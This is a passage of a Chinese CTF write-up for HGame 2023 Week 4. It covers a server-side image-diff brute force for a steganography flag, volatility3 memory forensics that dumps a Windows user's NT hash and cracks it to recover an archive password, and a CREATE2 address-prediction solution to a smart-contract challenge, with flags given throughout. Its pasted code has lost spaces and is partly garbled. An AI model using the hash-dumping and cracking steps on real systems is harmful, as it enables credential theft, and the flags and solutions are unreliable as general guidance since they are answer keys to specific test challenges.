对比分析后发现,

h

的差异点全部都在

hg

hgame

中出现了,

hg

的差异点也全部在

hgame

中出现,而

1

中的部分点并不会在

01

中出现,因此,可以利用这个现象,进行类似sql盲注一样的爆破。
爆破代码如下:

import string
from io import BytesIO

import requests
from Crypto.Util.number import bytes_to_long
from PIL import Image
from tqdm import tqdm

width =1200
height =900

try_txt ='hgame{'
dic ='_'+ string.digits + string.ascii_letters

defdiff(img1: Image, img2: Image, show=False):
    diff_set =set()
    w, h = img1.size
    cnt =0for x inrange(w):for y inrange(h):
            cnt +=1if img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")if show:print(f"{x}{y}{cnt}{dif}")return diff_set

defgetPic(text):
    ret = requests.post('http://week-4.hgame.lwsec.cn:31930/upload', files={'file': ori
    }, data={'text': text,}).content
    im = Image.open(BytesIO(ret))return im

if __name__ =='__main__':
    ori =open('steg/problem.png','rb').read()
    ori_img = Image.open('steg/problem.png')

    data =b'10'print(data.decode(),bin(bytes_to_long(data)))
    diff(ori_img, getPic(data), show=True)

    flag = diff(ori_img, Image.open(f'steg/flag.png'))
    already_exists = diff(ori_img, getPic(try_txt))whileTrue:
        lis =[]for t in tqdm(dic):
            img = getPic(try_txt + t)
            dif = diff(ori_img, img)iflen(dif - flag)==0andlen(already_exists - dif)==0:print(try_txt + t)
                lis.append(t)
        try_txt += lis[0]print(''.join(lis))

爆破速度大概每2秒爆破一位,花了不少时间,最后每一位的可能解如下(一行为一位):

hgame{
01234567
_HIJKLMNOXYZ
LN
45delmtuDELMTU
01234567pqrstuvwPQRSTUVW
_GOW
DPT
139acikqsy
bhjprxz
159aeimquy
_RSVWZ
0189
hijklmnoHIJKLMNO
abcdefghijklmnoABCDEFGHIJKL
_VW
ABCPQRS
ptxPTX
45detu
fgnoFGNO
0246
4567defglmnotuvw
014589adehilmpqtuxyADEHILMPQTUXY
egEG
abchijkpqrsxyzABCHIJKPQRSXYZ
ac
02bpr
012389abchijkpqrsxyzABCHIJKPQRSXYZ
159aeimquyAEIMQUY
A

最后一个A笔者猜测是右大括号,尝试后确实满足。

接下来,就只能靠自己的想象力了,笔者初步拼接的结果如下:

4_N(e/E)(w/W)_Type_8(i/I)n_S(t/T)e(g/G)4n0(g/G)(r/R)ap(h/H)(y/Y)

由于大小写不可知,笔者还需要反复尝试找到最接近的解(dic变量一行一个,可以猜测多个解):

import string
from io import BytesIO

import requests
from PIL import Image
from tqdm import tqdm

dic ="""4_New_Type_1mg_Steg4n0graphy"""# for i in string.ascii_letters + string.digits + '-_^@':#     print(i, bin(ord(i))[2:].zfill(8))defdfs(s, curr):if curr ==len(dd):print(f'4_N{s[0]}{s[1]}_Type_8{s[2]}n_S{s[3]}e{s[4]}4n0{s[5]}{s[6]}ap{s[7]}{s[8]}')returnfor i in dd[curr]:
        dfs(s + i, curr +1)

width =1200
height =900defdiff(img1: Image, img2: Image):
    diff_set =set()
    w, h = img1.size
    cnt =0for x inrange(w):for y inrange(h):
            cnt +=1if img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")return diff_set
    # print(by)defgetPic(text):
    ret = requests.post('http://week-4.hgame.lwsec.cn:32647/upload', files={'file': ori
    }, data={'text': text,}).content
    im = Image.open(BytesIO(ret))return im

if __name__ =='__main__':
    dd = dic.split("\n")
    ori =open('steg/problem.png','rb').read()
    ori_img = Image.open('steg/problem.png')
    flag = diff(ori_img, Image.open(f'steg/flag.png'))for txt in dd:
        txt ='hgame{%s}'% txt
        img = getPic(txt)
        dif = diff(ori_img, img)print(txt,len(flag - dif),len(dif - flag))

在所有可能中,值最小的解为:

4_New_Type_8in_Steg4n0graphy

相差了5,说明至少有5位二进制位是错误的,经过反复尝试后,最终得到正解:

4_New_Type_1mg_Steg4n0graphy

故最终flag为:

hgame{4_New_Type_1mg_Steg4n0graphy}

后记(爆破算法优化,更接近唯一解)

笔者在整理题解的时候发现,爆破过程中,笔者只关注了是否全部差异点都在flag内,而没有关注flag内少了多少个差异点,如果把这个也加上,取减少差异点最多的那些值,不就大概率是正解了吗?优化后代码如下:

import string
from io import BytesIO

import requests
from PIL import Image
from tqdm import tqdm

width =1200
height =900

try_txt ='hgame{'
dic ='_'+ string.digits + string.ascii_letters

defdiff(img1: Image, img2: Image, show=False):
    diff_set =set()
    w, h = img1.size
    cnt =0for x inrange(w):for y inrange(h):
            cnt +=1if img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1]- img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")if show:print(f"{x}{y}{cnt}{dif}")return diff_set

defgetPic(text):
    ret = requests.post('http://week-4.hgame.lwsec.cn:31930/upload', files={'file': ori
    }, data={'text': text,}).content
    im = Image.open(BytesIO(ret))return im

if __name__ =='__main__':
    ori =open('steg/problem.png','rb').read()
    ori_img = Image.open('steg/problem.png')
    flag = diff(ori_img, Image.open(f'steg/flag.png'))
    already_exists = diff(ori_img, getPic(try_txt))whileTrue:
        minDelta =0xfffffff
        lis =[]for t in tqdm(dic):
            img = getPic(try_txt + t)
            dif = diff(ori_img, img)iflen(dif - flag)==0andlen(already_exists - dif)==0:
                delta =len(flag - dif)if delta > minDelta:continueif delta < minDelta:
                    lis =[]
                    minDelta = delta
                lis.append(t)print(try_txt + t)
        try_txt += lis[0]print(''.join(lis))

虽然速度没有变快,全部爆破仍然需要一个多小时,但是未知量大大减少,除了末尾部分全部算对了,值得一用!

[MISC] ezWin - variables

本题考查基础的Windows内存取证,第一题的flag在环境变量中,最最最简单的办法就是打开

vmem

,全文搜索

hgame

即可,得到flag:

hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}

[MISC] ezWin - auth

根据题目要求,使用volatility3进行内存取证。
首先,输入

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.cmdline

查看命令行记录:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3OyufqUD-1675438517601)(null)]
发现提示:

flag2 is nthash of current user.txt

说明本题的flag是当前用户的

nthash

,根据常识,我们可以知道,用户名应该是

Noname

于是输入

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.hashdump 

获得

nthash


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sar3V3xL-1675438517718)(null)]
所以flag为:

hgame{84b0d9c9f830238933e7131d60ac6436}

[MISC] ezWin - 7zip

由题可知,flag肯定和上题中出现的

flag.7z

有关系,输入

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.filescan |grep-E'7z'

查找

flag.7z

的具体位置:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6ip1xEYK-1675438517663)(null)]
发现

0xd0064181c950

0xd00641b5ba70

都可以,笔者选择后者,然后输入指令将文件导出:

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr=0xd00641b5ba70

b3904e6e7665ae4ca588dcdd3690a193.png
去除后缀名

.vacb

即可打开文件
59a5919bdebede1284b932eddd23410f.png
打开后发现需要密码,密码是

nthash

的原文,使用https://www.cmd5.com/轻松获得(而且还不要钱):

asdqwe123

输入密码,打开文件,得到flag:

hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}

[BLOCKCHAIN] Transfer 2

本题的关键是不要先部署合约,先看代码。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;

contract Transfer2{
    Challenge public chall;
    event SendFlag();
    bytes32 constant salt = keccak256("HGAME 2023");
    constructor() {
        chall = new Challenge{salt: salt}();
        if (chall.flag()){
            emit SendFlag();
        }
    }
    function getCode() pure public returns(bytes memory){
        return type(Challenge).creationCode;
    }
}

contract Challenge{
    bool public flag;
    constructor(){
        if(address(this).balance >= 0.5 ether){
            flag = true;
        }
    }
}

观察代码可知,如果事先没有满足条件(即

balance>=0.5 ether

),那么是不可能触发

sendFlag

事件的,因为

constructor

不可能二次调用,同时,部署账号的私钥未知,不可能使用

create2

或者

create

函数重新部署合约(即使已知也做不到,因为

Transfer2

合约是使用

create

部署的,该函数以账户交易次数作为

nonce

)。通过

hash

碰撞来生成一个可以覆盖合约的地址的想法是愚蠢的,因为

SHA3

在目前来看,碰撞几率几乎为0。
以上所有想法笔者都花了一天的时间去尝试和验证,因此不必再试了。
这么说,这道题难道就真的无解吗?当然不是,因为只要我们实现知道合约部署在什么地方,往那个

Challenge

合约先转个

1 ether

不就行了。
那么如何预测合约部署的地址呢?首先,我们创建一个账户,向账户转账

1 ether

,但是先不要部署合约。这时候,我们拿到了账户地址,例如:

0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245

接下来,我们确认该账户的交易次数:
04b4f54c1d62989ab611f2b1cd745930.png
可以发现,是0次,接下来,我们确定后端部署合约的方式。
通过搜索引擎可知,题目是基于该项目编写的:https://github.com/chainflag/eth-challenge-base,查阅其中的合约部署相关代码:
f68db53e37c49259d6cf05fae0cd0204.png
可以发现,没有

salt

的影子,因此底层应该是使用

create

函数部署的合约。
查阅文档可知,

create

函数部署的合约,地址生成规则为:

keccak256(rlp([sender, nonce]))

现在,

sender

nonce

都已知,那么接下来要部署的合约地址便也提前知道了。
不过,我们的目的是要知道该合约创建的

Challenge

合约的地址,因此,再次阅读代码:

//...
    bytes32 constant salt = keccak256("HGAME 2023");
    constructor() {
        chall = new Challenge{salt: salt}();
//...

很明显,此处的合约使用的是

create2

方式部署的。

create2

函数生成的地址规则如下:

keccak256(0xff + sender + salt + keccak256(init_code))

其中,

sender

salt

已知,

init_code

可以实现部署一个用于测试的合约,调用合约的

getCode

函数得到,这样一来

Challenge

的合约地址也可以预测出来了,以下是实现地址预测的代码:

from rlp import encode

from web3 import Web3

prefix ='0xff'
creator ='E2EF078018b6DcaC3daBF17D82d2DA5554657fD4'

knownSalt ='3ec137672b90366126b6416bd4fd1eba98d6887a1303a5e0e5e2d475e91efbc5'# HGAME 2023
knownHash ='935f3dbc7af8507be23c7688266f5d8ac74359011f4c43e806bfd4f077cdcb2f'

deployer =0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245if __name__ =='__main__':
    nonce =0x0
    hashed = Web3.sha3(encode([deployer, nonce]))[12:]
    contractAddress =''.join(['%02x'% b for b in hashed])print('contractAddress', contractAddress)
    predict = prefix + contractAddress + knownSalt + knownHash
    hashed = Web3.sha3(hexstr=predict)[12:]
    hashed_str =''.join(['%02x'% b for b in hashed])print('ChallengeAddress', hashed_str)

运行得到

Transfer2

合约地址和

Challenge

合约地址:

contractAddress 021fd257cdce9a7b4a98e21b56eea7ee8cf4425b
ChallengeAddress 8a65af3404b37704dc25883b061e65547d934c81

向地址

0x8a65af3404b37704dc25883b061e65547d934c81

转账

1 eth

,然后部署合约:
5b30990dba457e735277d4dedfc44e3c.png
可见,

Transfer2

的合约地址与预测一致。
最后,提交返回的

transaction hash

,获得flag:
b96305c6738cd0dcc161df1a34c4dfc6.png

得到flag:

hgame{e0638df02eec0ccaa653b66de526c282a335ed3e}

本文转载自: https://blog.csdn.net/vvbbnn00/article/details/128877524
版权归原作者 不做评论 所有, 如有侵权,请联系我们删除。

“HGame 2023 Week4 部分Writeup”的评论:

还没有评论